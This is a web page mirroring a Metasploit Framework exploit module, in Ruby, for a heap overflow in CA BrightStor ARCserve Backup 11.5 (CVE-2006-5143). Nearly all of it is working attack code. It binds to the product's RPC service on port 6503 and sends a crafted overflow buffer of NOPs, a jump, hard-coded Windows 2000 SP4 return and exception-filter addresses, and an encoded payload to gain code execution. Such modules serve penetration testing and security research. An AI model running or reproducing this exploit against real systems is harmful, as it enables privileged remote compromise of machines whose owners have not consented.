Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/message_engine_heap.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',
16
'Description' => %q{
17
This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
18
11.5. By sending a specially crafted RPC request, an attacker could overflow the
19
buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-5143' ],
25
[ 'OSVDB', '29533' ],
26
[ 'BID', '20365' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'process',
31
},
32
'Payload' => {
33
'Space' => 800,
34
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
40
],
41
'DisclosureDate' => '2006-10-05',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
Opt::RPORT(6503)
54
]
55
)
56
end
57
58
def exploit
59
connect
60
61
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
62
print_status("Binding to #{handle} ...")
63
64
dcerpc_bind(handle)
65
print_status("Bound to #{handle} ...")
66
67
# straight forward heap stuffz
68
sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
69
sploit << [ target['UEF'] ].pack('V') + payload.encoded
70
71
print_status("Trying target #{target.name}...")
72
73
begin
74
dcerpc_call(43, sploit)
75
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
76
end
77
78
handler
79
disconnect
80
end
81
end
82
83